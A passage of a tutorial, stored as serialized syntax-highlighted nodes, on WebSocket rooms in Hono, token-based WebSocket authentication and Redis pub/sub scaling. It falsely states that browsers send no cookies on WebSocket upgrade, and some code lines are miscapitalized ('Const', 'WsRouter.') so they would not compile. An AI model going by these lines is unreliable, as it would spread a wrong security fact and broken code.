Set",[88,6447,157],{"class":94},[88,6449,6450],{"class":98},"WebSocket",[88,6452,6453],{"class":94},">>\n",[88,6455,6456],{"class":90,"line":208},[88,6457,116],{"emptyLinePlaceholder":115},[88,6459,6460,6463,6466,6469,6471,6473,6475],{"class":90,"line":509},[88,6461,6462],{"class":98},"Const ",[88,6464,6465],{"class":131},"rooms",[88,6467,6468],{"class":98},": ConnectionMap ",[88,6470,805],{"class":94},[88,6472,971],{"class":94},[88,6474,6440],{"class":131},[88,6476,1325],{"class":98},[88,6478,6479],{"class":90,"line":520},[88,6480,116],{"emptyLinePlaceholder":115},[88,6482,6483,6485,6487,6490,6492,6494,6497],{"class":90,"line":526},[88,6484,122],{"class":98},[88,6486,2021],{"class":94},[88,6488,6489],{"class":145}," wsRouter",[88,6491,175],{"class":94},[88,6493,971],{"class":94},[88,6495,6496],{"class":131}," Hono",[88,6498,1325],{"class":98},[88,6500,6501],{"class":90,"line":532},[88,6502,116],{"emptyLinePlaceholder":115},[88,6504,6505,6508,6510],{"class":90,"line":815},[88,6506,6507],{"class":98},"WsRouter.",[88,6509,5577],{"class":131},[88,6511,2075],{"class":98},[88,6513,6514,6517],{"class":90,"line":858},[88,6515,6516],{"class":105}," '/ws/rooms/:roomId'",[88,6518,287],{"class":98},[88,6520,6521],{"class":90,"line":882},[88,6522,6523],{"class":98}," requireAuthWs,\n",[88,6525,6526,6529,6531,6534,6536,6538],{"class":90,"line":906},[88,6527,6528],{"class":131}," upgradeWebSocket",[88,6530,2232],{"class":98},[88,6532,6533],{"class":138},"c",[88,6535,728],{"class":98},[88,6537,731],{"class":94},[88,6539,452],{"class":98},[88,6541,6542,6544,6547,6549,6552,6555,6557,6560],{"class":90,"line":936},[88,6543,169],{"class":94},[88,6545,6546],{"class":145}," roomId",[88,6548,175],{"class":94},[88,6550,6551],{"class":98}," c.req.",[88,6553,6554],{"class":131},"param",[88,6556,135],{"class":98},[88,6558,6559],{"class":105},"'roomId'",[88,6561,855],{"class":98},[88,6563,6564,6566,6568,6570,6573,6575,6577,6579],{"class":90,"line":941},[88,6565,169],{"class":94},[88,6567,4495],{"class":145},[88,6569,175],{"class":94},[88,6571,6572],{"class":98}," c.",[88,6574,5577],{"class":131},[88,6576,135],{"class":98},[88,6578,4515],{"class":105},[88,6580,855],{"class":98},[88,6582,6583],{"class":90,"line":952},[88,6584,116],{"emptyLinePlaceholder":115},[88,6586,6587,6589],{"class":90,"line":963},[88,6588,194],{"class":94},[88,6590,452],{"class":98},[88,6592,6593,6596,6598,6600,6602,6605],{"class":90,"line":979},[88,6594,6595],{"class":131}," onOpen",[88,6597,135],{"class":98},[88,6599,1034],{"class":138},[88,6601,483],{"class":98},[88,6603,6604],{"class":138},"ws",[88,6606,774],{"class":98},[88,6608,6609],{"class":90,"line":984},[88,6610,6611],{"class":346}," // Add connection to room\n",[88,6613,6614,6616,6618,6620,6623,6626,6629,6631,6634,6637,6640],{"class":90,"line":1002},[88,6615,1122],{"class":94},[88,6617,717],{"class":98},[88,6619,2208],{"class":94},[88,6621,6622],{"class":98},"rooms.",[88,6624,6625],{"class":131},"has",[88,6627,6628],{"class":98},"(roomId)) rooms.",[88,6630,5630],{"class":131},[88,6632,6633],{"class":98},"(roomId, ",[88,6635,6636],{"class":94},"new",[88,6638,6639],{"class":131}," Set",[88,6641,1629],{"class":98},[88,6643,6644,6647,6649,6652,6654,6656,6659],{"class":90,"line":1012},[88,6645,6646],{"class":98}," rooms.",[88,6648,5577],{"class":131},[88,6650,6651],{"class":98},"(roomId)",[88,6653,2208],{"class":94},[88,6655,393],{"class":98},[88,6657,6658],{"class":131},"add",[88,6660,6661],{"class":98},"(ws.raw)\n",[88,6663,6664],{"class":90,"line":1017},[88,6665,116],{"emptyLinePlaceholder":115},[88,6667,6668],{"class":90,"line":1022},[88,6669,6670],{"class":346}," // Notify others in the room\n",[88,6672,6673,6676],{"class":90,"line":1043},[88,6674,6675],{"class":131}," broadcastToRoom",[88,6677,6678],{"class":98},"(roomId, {\n",[88,6680,6681,6684,6687],{"class":90,"line":1064},[88,6682,6683],{"class":98}," type: ",[88,6685,6686],{"class":105},"'user.joined'",[88,6688,287],{"class":98},[88,6690,6691],{"class":90,"line":1075},[88,6692,6693],{"class":98}," userId,\n",[88,6695,6696,6699,6701,6704,6706,6709],{"class":90,"line":1083},[88,6697,6698],{"class":98}," timestamp: ",[88,6700,6636],{"class":94},[88,6702,6703],{"class":131}," Date",[88,6705,5954],{"class":98},[88,6707,6708],{"class":131},"toISOString",[88,6710,6057],{"class":98},[88,6712,6713],{"class":90,"line":1088},[88,6714,6715],{"class":98}," }, ws.raw)\n",[88,6717,6718],{"class":90,"line":1093},[88,6719,406],{"class":98},[88,6721,6722],{"class":90,"line":1109},[88,6723,116],{"emptyLinePlaceholder":115},[88,6725,6726,6728,6730,6732,6734,6736],{"class":90,"line":1119},[88,6727,711],{"class":131},[88,6729,135],{"class":98},[88,6731,1034],{"class":138},[88,6733,483],{"class":98},[88,6735,6604],{"class":138},[88,6737,774],{"class":98},[88,6739,6740,6742,6745,6747,6749,6751,6753,6756,6759,6761],{"class":90,"line":1136},[88,6741,169],{"class":94},[88,6743,6744],{"class":145}," message",[88,6746,175],{"class":94},[88,6748,1053],{"class":145},[88,6750,393],{"class":98},[88,6752,1058],{"class":131},[88,6754,6755],{"class":98},"(event.data ",[88,6757,6758],{"class":94},"as",[88,6760,146],{"class":145},[88,6762,855],{"class":98},[88,6764,6765,6768],{"class":90,"line":1150},[88,6766,6767],{"class":131}," handleMessage",[88,6769,6770],{"class":98},"(message, roomId, userId, ws)\n",[88,6772,6773],{"class":90,"line":1155},[88,6774,406],{"class":98},[88,6776,6777],{"class":90,"line":1160},[88,6778,116],{"emptyLinePlaceholder":115},[88,6780,6781,6784,6786,6788,6790,6792],{"class":90,"line":1165},[88,6782,6783],{"class":131}," onClose",[88,6785,135],{"class":98},[88,6787,1034],{"class":138},[88,6789,483],{"class":98},[88,6791,6604],{"class":138},[88,6793,774],{"class":98},[88,6795,6796],{"class":90,"line":1181},[88,6797,6798],{"class":346}," // Remove connection from room\n",[88,6800,6801,6803,6805,6808,6811],{"class":90,"line":1191},[88,6802,6646],{"class":98},[88,6804,5577],{"class":131},[88,6806,6807],{"class":98},"(roomId)?.",[88,6809,6810],{"class":131},"delete",[88,6812,6661],{"class":98},[88,6814,6815,6817,6820,6822,6825,6827,6829,6832,6834],{"class":90,"line":1196},[88,6816,1122],{"class":94},[88,6818,6819],{"class":98}," (rooms.",[88,6821,5577],{"class":131},[88,6823,6824],{"class":98},"(roomId)?.size ",[88,6826,1232],{"class":94},[88,6828,1131],{"class":145},[88,6830,6831],{"class":98},") rooms.",[88,6833,6810],{"class":131},[88,6835,6836],{"class":98},"(roomId)\n",[88,6838,6839],{"class":90,"line":1201},[88,6840,116],{"emptyLinePlaceholder":115},[88,6842,6843,6845],{"class":90,"line":1206},[88,6844,6675],{"class":131},[88,6846,6678],{"class":98},[88,6848,6849,6851,6854],{"class":90,"line":1224},[88,6850,6683],{"class":98},[88,6852,6853],{"class":105},"'user.left'",[88,6855,287],{"class":98},[88,6857,6858],{"class":90,"line":1243},[88,6859,6693],{"class":98},[88,6861,6862,6864,6866,6868,6870,6872],{"class":90,"line":1264},[88,6863,6698],{"class":98},[88,6865,6636],{"class":94},[88,6867,6703],{"class":131},[88,6869,5954],{"class":98},[88,6871,6708],{"class":131},[88,6873,6057],{"class":98},[88,6875,6876],{"class":90,"line":1269},[88,6877,1712],{"class":98},[88,6879,6880],{"class":90,"line":1274},[88,6881,406],{"class":98},[88,6883,6884],{"class":90,"line":1279},[88,6885,116],{"emptyLinePlaceholder":115},[88,6887,6888,6891,6893,6895,6897,6899],{"class":90,"line":1289},[88,6889,6890],{"class":131}," onError",[88,6892,135],{"class":98},[88,6894,1034],{"class":138},[88,6896,483],{"class":98},[88,6898,6604],{"class":138},[88,6900,774],{"class":98},[88,6902,6903,6906,6908,6910,6913],{"class":90,"line":1303},[88,6904,6905],{"class":98}," console.",[88,6907,4180],{"class":131},[88,6909,135],{"class":98},[88,6911,6912],{"class":105},"'WebSocket error:'",[88,6914,6915],{"class":98},", event)\n",[88,6917,6918,6920,6922,6924,6926],{"class":90,"line":1316},[88,6919,6646],{"class":98},[88,6921,5577],{"class":131},[88,6923,6807],{"class":98},[88,6925,6810],{"class":131},[88,6927,6661],{"class":98},[88,6929,6930],{"class":90,"line":1328},[88,6931,406],{"class":98},[88,6933,6934],{"class":90,"line":1333},[88,6935,523],{"class":98},[88,6937,6938],{"class":90,"line":1338},[88,6939,1712],{"class":98},[88,6941,6942],{"class":90,"line":1344},[88,6943,855],{"class":98},[88,6945,6946],{"class":90,"line":1353},[88,6947,116],{"emptyLinePlaceholder":115},[88,6949,6950,6952,6955],{"class":90,"line":1358},[88,6951,6070],{"class":98},[88,6953,6954],{"class":131},"broadcastToRoom",[88,6956,2075],{"class":98},[88,6958,6959],{"class":90,"line":1364},[88,6960,6961],{"class":98}," roomId: string,\n",[88,6963,6964],{"class":90,"line":1373},[88,6965,6966],{"class":98}," message: unknown,\n",[88,6968,6969,6972,6974],{"class":90,"line":1378},[88,6970,6971],{"class":98}," exclude",[88,6973,714],{"class":94},[88,6975,6976],{"class":98}," WebSocket\n",[88,6978,6979],{"class":90,"line":1385},[88,6980,774],{"class":98},[88,6982,6983,6985,6988,6990,6992,6994],{"class":90,"line":1397},[88,6984,169],{"class":94},[88,6986,6987],{"class":145}," connections",[88,6989,175],{"class":94},[88,6991,6646],{"class":98},[88,6993,5577],{"class":131},[88,6995,6836],{"class":98},[88,6997,6998,7000,7002,7004,7007],{"class":90,"line":1408},[88,6999,1122],{"class":94},[88,7001,717],{"class":98},[88,7003,2208],{"class":94},[88,7005,7006],{"class":98},"connections) ",[88,7008,2214],{"class":94},[88,7010,7011],{"class":90,"line":1414},[88,7012,116],{"emptyLinePlaceholder":115},[88,7014,7015,7017,7020,7022,7024,7026,7028],{"class":90,"line":1420},[88,7016,169],{"class":94},[88,7018,7019],{"class":145}," payload",[88,7021,175],{"class":94},[88,7023,1053],{"class":145},[88,7025,393],{"class":98},[88,7027,1258],{"class":131},[88,7029,7030],{"class":98},"(message)\n",[88,7032,7033,7036,7038,7040,7043,7046],{"class":90,"line":1426},[88,7034,7035],{"class":94}," for",[88,7037,717],{"class":98},[88,7039,2021],{"class":94},[88,7041,7042],{"class":145}," ws",[88,7044,7045],{"class":94}," of",[88,7047,7048],{"class":98}," connections) {\n",[88,7050,7051,7053,7056,7058,7061,7064,7067,7069,7071,7073],{"class":90,"line":1431},[88,7052,1122],{"class":94},[88,7054,7055],{"class":98}," (ws ",[88,7057,1744],{"class":94},[88,7059,7060],{"class":98}," exclude ",[88,7062,7063],{"class":94},"&&",[88,7065,7066],{"class":98}," ws.readyState ",[88,7068,1232],{"class":94},[88,7070,1235],{"class":98},[88,7072,1238],{"class":145},[88,7074,774],{"class":98},[88,7076,7078,7081,7083],{"class":90,"line":7077},68,[88,7079,7080],{"class":98}," ws.",[88,7082,1248],{"class":131},[88,7084,7085],{"class":98},"(payload)\n",[88,7087,7089],{"class":90,"line":7088},69,[88,7090,523],{"class":98},[88,7092,7094],{"class":90,"line":7093},70,[88,7095,523],{"class":98},[88,7097,7099],{"class":90,"line":7098},71,[88,7100,211],{"class":98},[26,7102,7104],{"id":7103},"authentication-over-websockets","Authentication Over WebSockets",[19,7106,7107],{},"WebSocket connections do not send cookies or auth headers on upgrade (browsers do not allow custom headers on WebSocket upgrade requests). Authentication approaches:",[19,7109,7110],{},[5027,7111,7112],{},"Token in query string (during connection):",[79,7114,7116],{"className":81,"code":7115,"language":83,"meta":84,"style":84},"// Client\nconst ws = new WebSocket(`wss://api.yourdomain.com/ws?token=${accessToken}`)\n\n// Server middleware\nasync function requireAuthWs(c: Context, next: Next) {\n const token = c.req.query('token')\n if (!token) return c.text('Unauthorized', 401)\n\n try {\n const payload = await verifyAccessToken(token)\n c.set('userId', payload.sub)\n await next()\n } catch {\n return c.text('Unauthorized', 401)\n }\n}\n",[40,7117,7118,7123,7147,7151,7156,7186,7207,7236,7240,7246,7262,7275,7284,7292,7310,7314],{"__ignoreMap":84},[88,7119,7120],{"class":90,"line":91},[88,7121,7122],{"class":346},"// Client\n",[88,7124,7125,7127,7129,7131,7133,7135,7137,7140,7143,7145],{"class":90,"line":112},[88,7126,2021],{"class":94},[88,7128,7042],{"class":145},[88,7130,175],{"class":94},[88,7132,971],{"class":94},[88,7134,893],{"class":131},[88,7136,135],{"class":98},[88,7138,7139],{"class":105},"`wss://api.yourdomain.com/ws?token=${",[88,7141,7142],{"class":98},"accessToken",[88,7144,366],{"class":105},[88,7146,855],{"class":98},[88,7148,7149],{"class":90,"line":119},[88,7150,116],{"emptyLinePlaceholder":115},[88,7152,7153],{"class":90,"line":166},[88,7154,7155],{"class":346},"// Server middleware\n",[88,7157,7158,7160,7162,7165,7167,7169,7171,7174,7176,7179,7181,7184],{"class":90,"line":191},[88,7159,125],{"class":94},[88,7161,128],{"class":94},[88,7163,7164],{"class":131}," requireAuthWs",[88,7166,135],{"class":98},[88,7168,6533],{"class":138},[88,7170,142],{"class":94},[88,7172,7173],{"class":131}," Context",[88,7175,483],{"class":98},[88,7177,7178],{"class":138},"next",[88,7180,142],{"class":94},[88,7182,7183],{"class":131}," Next",[88,7185,774],{"class":98},[88,7187,7188,7190,7193,7195,7197,7200,7202,7205],{"class":90,"line":208},[88,7189,169],{"class":94},[88,7191,7192],{"class":145}," token",[88,7194,175],{"class":94},[88,7196,6551],{"class":98},[88,7198,7199],{"class":131},"query",[88,7201,135],{"class":98},[88,7203,7204],{"class":105},"'token'",[88,7206,855],{"class":98},[88,7208,7209,7211,7213,7215,7218,7220,7222,7224,7226,7229,7231,7234],{"class":90,"line":509},[88,7210,1122],{"class":94},[88,7212,717],{"class":98},[88,7214,2208],{"class":94},[88,7216,7217],{"class":98},"token) ",[88,7219,3612],{"class":94},[88,7221,6572],{"class":98},[88,7223,5388],{"class":131},[88,7225,135],{"class":98},[88,7227,7228],{"class":105},"'Unauthorized'",[88,7230,483],{"class":98},[88,7232,7233],{"class":145},"401",[88,7235,855],{"class":98},[88,7237,7238],{"class":90,"line":520},[88,7239,116],{"emptyLinePlaceholder":115},[88,7241,7242,7244],{"class":90,"line":526},[88,7243,1661],{"class":94},[88,7245,452],{"class":98},[88,7247,7248,7250,7252,7254,7256,7259],{"class":90,"line":532},[88,7249,169],{"class":94},[88,7251,7019],{"class":145},[88,7253,175],{"class":94},[88,7255,178],{"class":94},[88,7257,7258],{"class":131}," verifyAccessToken",[88,7260,7261],{"class":98},"(token)\n",[88,7263,7264,7266,7268,7270,7272],{"class":90,"line":815},[88,7265,6572],{"class":98},[88,7267,5630],{"class":131},[88,7269,135],{"class":98},[88,7271,4515],{"class":105},[88,7273,7274],{"class":98},", payload.sub)\n",[88,7276,7277,7279,7282],{"class":90,"line":858},[88,7278,178],{"class":94},[88,7280,7281],{"class":131}," next",[88,7283,1325],{"class":98},[88,7285,7286,7288,7290],{"class":90,"line":882},[88,7287,802],{"class":98},[88,7289,1719],{"class":94},[88,7291,452],{"class":98},[88,7293,7294,7296,7298,7300,7302,7304,7306,7308],{"class":90,"line":906},[88,7295,194],{"class":94},[88,7297,6572],{"class":98},[88,7299,5388],{"class":131},[88,7301,135],{"class":98},[88,7303,7228],{"class":105},[88,7305,483],{"class":98},[88,7307,7233],{"class":145},[88,7309,855],{"class":98},[88,7311,7312],{"class":90,"line":936},[88,7313,523],{"class":98},[88,7315,7316],{"class":90,"line":941},[88,7317,211],{"class":98},[19,7319,7320],{},[5027,7321,7322],{},"First message authentication:",[79,7324,7326],{"className":81,"code":7325,"language":83,"meta":84,"style":84},"onMessage(event, ws) {\n const message = JSON.parse(event.data as string)\n\n if (!authenticated) {\n if (message.type !== 'auth') {\n ws.close(4001, 'Authentication required')\n return\n }\n\n const user = await verifyToken(message.token)\n if (!user) {\n ws.close(4001, 'Invalid token')\n return\n }\n\n authenticated = true\n userId = user.id\n ws.send(JSON.stringify({ type: 'auth.success' }))\n return\n }\n\n // Handle normal messages\n}\n",[40,7327,7328,7335,7357,7361,7372,7386,7404,7409,7413,7417,7433,7444,7461,7465,7469,7473,7482,7492,7515,7519,7523,7527,7532],{"__ignoreMap":84},[88,7329,7330,7332],{"class":90,"line":91},[88,7331,789],{"class":131},[88,7333,7334],{"class":98},"(event, ws) {\n",[88,7336,7337,7339,7341,7343,7345,7347,7349,7351,7353,7355],{"class":90,"line":112},[88,7338,169],{"class":94},[88,7340,6744],{"class":145},[88,7342,175],{"class":94},[88,7344,1053],{"class":145},[88,7346,393],{"class":98},[88,7348,1058],{"class":131},[88,7350,6755],{"class":98},[88,7352,6758],{"class":94},[88,7354,146],{"class":145},[88,7356,855],{"class":98},[88,7358,7359],{"class":90,"line":119},[88,7360,116],{"emptyLinePlaceholder":115},[88,7362,7363,7365,7367,7369],{"class":90,"line":166},[88,7364,1122],{"class":94},[88,7366,717],{"class":98},[88,7368,2208],{"class":94},[88,7370,7371],{"class":98},"authenticated) {\n",[88,7373,7374,7376,7379,7381,7384],{"class":90,"line":191},[88,7375,1122],{"class":94},[88,7377,7378],{"class":98}," (message.type ",[88,7380,1744],{"class":94},[88,7382,7383],{"class":105}," 'auth'",[88,7385,774],{"class":98},[88,7387,7388,7390,7392,7394,7397,7399,7402],{"class":90,"line":208},[88,7389,7080],{"class":98},[88,7391,1322],{"class":131},[88,7393,135],{"class":98},[88,7395,7396],{"class":145},"4001",[88,7398,483],{"class":98},[88,7400,7401],{"class":105},"'Authentication required'",[88,7403,855],{"class":98},[88,7405,7406],{"class":90,"line":509},[88,7407,7408],{"class":94}," return\n",[88,7410,7411],{"class":90,"line":520},[88,7412,523],{"class":98},[88,7414,7415],{"class":90,"line":526},[88,7416,116],{"emptyLinePlaceholder":115},[88,7418,7419,7421,7423,7425,7427,7430],{"class":90,"line":532},[88,7420,169],{"class":94},[88,7422,1508],{"class":145},[88,7424,175],{"class":94},[88,7426,178],{"class":94},[88,7428,7429],{"class":131}," verifyToken",[88,7431,7432],{"class":98},"(message.token)\n",[88,7434,7435,7437,7439,7441],{"class":90,"line":815},[88,7436,1122],{"class":94},[88,7438,717],{"class":98},[88,7440,2208],{"class":94},[88,7442,7443],{"class":98},"user) {\n",[88,7445,7446,7448,7450,7452,7454,7456,7459],{"class":90,"line":858},[88,7447,7080],{"class":98},[88,7449,1322],{"class":131},[88,7451,135],{"class":98},[88,7453,7396],{"class":145},[88,7455,483],{"class":98},[88,7457,7458],{"class":105},"'Invalid token'",[88,7460,855],{"class":98},[88,7462,7463],{"class":90,"line":882},[88,7464,7408],{"class":94},[88,7466,7467],{"class":90,"line":906},[88,7468,523],{"class":98},[88,7470,7471],{"class":90,"line":936},[88,7472,116],{"emptyLinePlaceholder":115},[88,7474,7475,7478,7480],{"class":90,"line":941},[88,7476,7477],{"class":98}," authenticated ",[88,7479,805],{"class":94},[88,7481,1643],{"class":145},[88,7483,7484,7487,7489],{"class":90,"line":952},[88,7485,7486],{"class":98}," userId ",[88,7488,805],{"class":94},[88,7490,7491],{"class":98}," user.id\n",[88,7493,7494,7496,7498,7500,7502,7504,7506,7509,7512],{"class":90,"line":963},[88,7495,7080],{"class":98},[88,7497,1248],{"class":131},[88,7499,135],{"class":98},[88,7501,1253],{"class":145},[88,7503,393],{"class":98},[88,7505,1258],{"class":131},[88,7507,7508],{"class":98},"({ type: ",[88,7510,7511],{"class":105},"'auth.success'",[88,7513,7514],{"class":98}," }))\n",[88,7516,7517],{"class":90,"line":979},[88,7518,7408],{"class":94},[88,7520,7521],{"class":90,"line":984},[88,7522,523],{"class":98},[88,7524,7525],{"class":90,"line":1002},[88,7526,116],{"emptyLinePlaceholder":115},[88,7528,7529],{"class":90,"line":1012},[88,7530,7531],{"class":346}," // Handle normal messages\n",[88,7533,7534],{"class":90,"line":1017},[88,7535,211],{"class":98},[19,7537,7538],{},"I prefer the first-message approach for better flexibility and because it does not expose tokens in server logs.",[26,7540,7542],{"id":7541},"the-scaling-problem","The Scaling Problem",[19,7544,7545],{},"A single WebSocket server works fine for thousands of connections. Two servers create a problem: a message intended for a client connected to server A may be delivered to server B, where that client does not exist.",[19,7547,7548],{},"The solution is a pub/sub system (typically Redis) that all server instances subscribe to. When any server needs to send a message to a room, it publishes to Redis. All servers receive the message and deliver it to their connected clients in that room.",[26,7550,7552],{"id":7551},"redis-pubsub-for-horizontal-scaling","Redis Pub/Sub for Horizontal Scaling",[79,7554,7556],{"className":81,"code":7555,"language":83,"meta":84,"style":84},"import Redis from 'ioredis'\n\nConst publisher = new Redis(process.env.REDIS_URL!)\nconst subscriber = new Redis(process.env.REDIS_URL!)\n\n// Subscribe to room channels on startup\nsubscriber.on('message', (channel, message) => {\n const roomId = channel.replace('room:', '')\n const parsed = JSON.parse(message)\n\n // Deliver to local connections in this room\n const connections = rooms.get(roomId)\n if (!connections) return\n\n const payload = JSON.stringify(parsed)\n for (const ws of connections) {\n if (ws.readyState === WebSocket.OPEN) {\n ws.send(payload)\n }\n }\n})\n\n// Subscribe when a user joins a room\nasync function subscribeToRoom(roomId: string) {\n await subscriber.subscribe(`room:${roomId}`)\n}\n\n// Publish when broadcasting (all servers receive this)\nasync function publishToRoom(roomId: string, message: unknown) {\n await publisher.publish(`room:${roomId}`, JSON.stringify(message))\n}\n",[40,7557,7558,7570,7574,7596,7617,7621,7626,7656,7681,7697,7701,7706,7720,7732,7736,7753,7767,7782,7790,7794,7798,7802,7806,7811,7831,7852,7856,7860,7865,7892,7921],{"__ignoreMap":84},[88,7559,7560,7562,7565,7567],{"class":90,"line":91},[88,7561,95],{"class":94},[88,7563,7564],{"class":98}," Redis ",[88,7566,102],{"class":94},[88,7568,7569],{"class":105}," 'ioredis'\n",[88,7571,7572],{"class":90,"line":112},[88,7573,116],{"emptyLinePlaceholder":115},[88,7575,7576,7579,7581,7583,7586,7589,7592,7594],{"class":90,"line":119},[88,7577,7578],{"class":98},"Const publisher ",[88,7580,805],{"class":94},[88,7582,971],{"class":94},[88,7584,7585],{"class":131}," Redis",[88,7587,7588],{"class":98},"(process.env.",[88,7590,7591],{"class":145},"REDIS_URL",[88,7593,2208],{"class":94},[88,7595,855],{"class":98},[88,7597,7598,7600,7603,7605,7607,7609,7611,7613,7615],{"class":90,"line":166},[88,7599,2021],{"class":94},[88,7601,7602],{"class":145}," subscriber",[88,7604,175],{"class":94},[88,7606,971],{"class":94},[88,7608,7585],{"class":131},[88,7610,7588],{"class":98},[88,7612,7591],{"class":145},[88,7614,2208],{"class":94},[88,7616,855],{"class":98},[88,7618,7619],{"class":90,"line":191},[88,7620,116],{"emptyLinePlaceholder":115},[88,7622,7623],{"class":90,"line":208},[88,7624,7625],{"class":346},"// Subscribe to room channels on startup\n",[88,7627,7628,7631,7634,7636,7639,7642,7645,7647,7650,7652,7654],{"class":90,"line":509},[88,7629,7630],{"class":98},"subscriber.",[88,7632,7633],{"class":131},"on",[88,7635,135],{"class":98},[88,7637,7638],{"class":105},"'message'",[88,7640,7641],{"class":98},", (",[88,7643,7644],{"class":138},"channel",[88,7646,483],{"class":98},[88,7648,7649],{"class":138},"message",[88,7651,728],{"class":98},[88,7653,731],{"class":94},[88,7655,452],{"class":98},[88,7657,7658,7660,7662,7664,7667,7670,7672,7675,7677,7679],{"class":90,"line":520},[88,7659,169],{"class":94},[88,7661,6546],{"class":145},[88,7663,175],{"class":94},[88,7665,7666],{"class":98}," channel.",[88,7668,7669],{"class":131},"replace",[88,7671,135],{"class":98},[88,7673,7674],{"class":105},"'room:'",[88,7676,483],{"class":98},[88,7678,2602],{"class":105},[88,7680,855],{"class":98},[88,7682,7683,7685,7687,7689,7691,7693,7695],{"class":90,"line":526},[88,7684,169],{"class":94},[88,7686,1900],{"class":145},[88,7688,175],{"class":94},[88,7690,1053],{"class":145},[88,7692,393],{"class":98},[88,7694,1058],{"class":131},[88,7696,7030],{"class":98},[88,7698,7699],{"class":90,"line":532},[88,7700,116],{"emptyLinePlaceholder":115},[88,7702,7703],{"class":90,"line":815},[88,7704,7705],{"class":346}," // Deliver to local connections in this room\n",[88,7707,7708,7710,7712,7714,7716,7718],{"class":90,"line":858},[88,7709,169],{"class":94},[88,7711,6987],{"class":145},[88,7713,175],{"class":94},[88,7715,6646],{"class":98},[88,7717,5577],{"class":131},[88,7719,6836],{"class":98},[88,7721,7722,7724,7726,7728,7730],{"class":90,"line":882},[88,7723,1122],{"class":94},[88,7725,717],{"class":98},[88,7727,2208],{"class":94},[88,7729,7006],{"class":98},[88,7731,2214],{"class":94},[88,7733,7734],{"class":90,"line":906},[88,7735,116],{"emptyLinePlaceholder":115},[88,7737,7738,7740,7742,7744,7746,7748,7750],{"class":90,"line":936},[88,7739,169],{"class":94},[88,7741,7019],{"class":145},[88,7743,175],{"class":94},[88,7745,1053],{"class":145},[88,7747,393],{"class":98},[88,7749,1258],{"class":131},[88,7751,7752],{"class":98},"(parsed)\n",[88,7754,7755,7757,7759,7761,7763,7765],{"class":90,"line":941},[88,7756,7035],{"class":94},[88,7758,717],{"class":98},[88,7760,2021],{"class":94},[88,7762,7042],{"class":145},[88,7764,7045],{"class":94},[88,7766,7048],{"class":98},[88,7768,7769,7771,7774,7776,7778,7780],{"class":90,"line":952},[88,7770,1122],{"class":94},[88,7772,7773],{"class":98}," (ws.readyState ",[88,7775,1232],{"class":94},[88,7777,1235],{"class":98},[88,7779,1238],{"class":145},[88,7781,774],{"class":98},[88,7783,7784,7786,7788],{"class":90,"line":963},[88,7785,7080],{"class":98},[88,7787,1248],{"class":131},[88,7789,7085],{"class":98},[88,7791,7792],{"class":90,"line":979},[88,7793,523],{"class":98},[88,7795,7796],{"class":90,"line":984},[88,7797,523],{"class":98},[88,7799,7800],{"class":90,"line":1002},[88,7801,2966],{"class":98},[88,7803,7804],{"class":90,"line":1012},[88,7805,116],{"emptyLinePlaceholder":115},[88,7807,7808],{"class":90,"line":1017},[88,7809,7810],{"class":346},"// Subscribe when a user joins a room\n",[88,7812,7813,7815,7817,7820,7822,7825,7827,7829],{"class":90,"line":1022},[88,7814,125],{"class":94},[88,7816,128],{"class":94},[88,7818,7819],{"class":131}," subscribeToRoom",[88,7821,135],{"class":98},[88,7823,7824],{"class":138},"roomId",[88,7826,142],{"class":94},[88,7828,146],{"class":145},[88,7830,774],{"class":98},[88,7832,7833,7835,7838,7841,7843,7846,7848,7850],{"class":90,"line":1043},[88,7834,178],{"class":94},[88,7836,7837],{"class":98}," subscriber.",[88,7839,7840],{"class":131},"subscribe",[88,7842,135],{"class":98},[88,7844,7845],{"class":105},"`room:${",[88,7847,7824],{"class":98},[88,7849,366],{"class":105},[88,7851,855],{"class":98},[88,7853,7854],{"class":90,"line":1064},[88,7855,211],{"class":98},[88,7857,7858],{"class":90,"line":1075},[88,7859,116],{"emptyLinePlaceholder":115},[88,7861,7862],{"class":90,"line":1083},[88,7863,7864],{"class":346},"// Publish when broadcasting (all servers receive this)\n",[88,7866,7867,7869,7871,7874,7876,7878,7880,7882,7884,7886,7888,7890],{"class":90,"line":1088},[88,7868,125],{"class":94},[88,7870,128],{"class":94},[88,7872,7873],{"class":131}," publishToRoom",[88,7875,135],{"class":98},[88,7877,7824],{"class":138},[88,7879,142],{"class":94},[88,7881,146],{"class":145},[88,7883,483],{"class":98},[88,7885,7649],{"class":138},[88,7887,142],{"class":94},[88,7889,725],{"class":145},[88,7891,774],{"class":98},[88,7893,7894,7896,7899,7902,7904,7906,7908,7910,7912,7914,7916,7918],{"class":90,"line":1093},[88,7895,178],{"class":94},[88,7897,7898],{"class":98}," publisher.",[88,7900,7901],{"class":131},"publish",[88,7903,135],{"class":98},[88,7905,7845],{"class":105},[88,7907,7824],{"class":98},[88,7909,366],{"class":105},[88,7911,483],{"class":98},[88,7913,1253],{"class":145},[88,7915,393],{"class":98},[88,7917,1258],{"class":131},[88,7919,7920],{"class":98},"(message))\n",[88,7922,7923],{"class":90,"line":1109},[88,7924,211],{"class":98},[19,7926,7927],{},"Now broadcasting to a room works correctly regardless of which server handles the connection:",[79,7929,7931],{"className":81,"code":7930,"language":83,"meta":84,"style":84},"// In your message handler\nasync function handleMessage(message: unknown, roomId: string, userId: string) {\n // Publish through Redis so all server instances receive it\n await publishToRoom(roomId, {\n type: 'message',\n from: userId,\n content: message.content,\n timestamp: new Date().toISOString(),\n })\n}\n",[40,7932,7933,7938,7972,7977,7985,7993,7998,8003,8017,8021],{"__ignoreMap":84},[88,7934,7935],{"class":90,"line":91},[88,7936,7937],{"class":346},"// In your message handler\n",[88,7939,7940,7942,7944,7946,7948,7950,7952,7954,7956,7958,7960,7962,7964,7966,7968,7970],{"class":90,"line":112},[88,7941,125],{"class":94},[88,7943,128],{"class":94},[88,7945,6767],{"class":131},[88,7947,135],{"class":98},[88,7949,7649],{"class":138},[88,7951,142],{"class":94},[88,7953,725],{"class":145},[88,7955,483],{"class":98},[88,7957,7824],{"class":138},[88,7959,142],{"class":94},[88,7961,146],{"class":145},[88,7963,483],{"class":98},[88,7965,1488],{"class":138},[88,7967,142],{"class":94},[88,7969,146],{"class":145},[88,7971,774],{"class":98},[88,7973,7974],{"class":90,"line":119},[88,7975,7976],{"class":346}," // Publish through Redis so all server instances receive it\n",[88,7978,7979,7981,7983],{"class":90,"line":166},[88,7980,178],{"class":94},[88,7982,7873],{"class":131},[88,7984,6678],{"class":98},[88,7986,7987,7989,7991],{"class":90,"line":191},[88,7988,6683],{"class":98},[88,7990,7638],{"class":105},[88,7992,287],{"class":98},[88,7994,7995],{"class":90,"line":208},[88,7996,7997],{"class":98}," from: 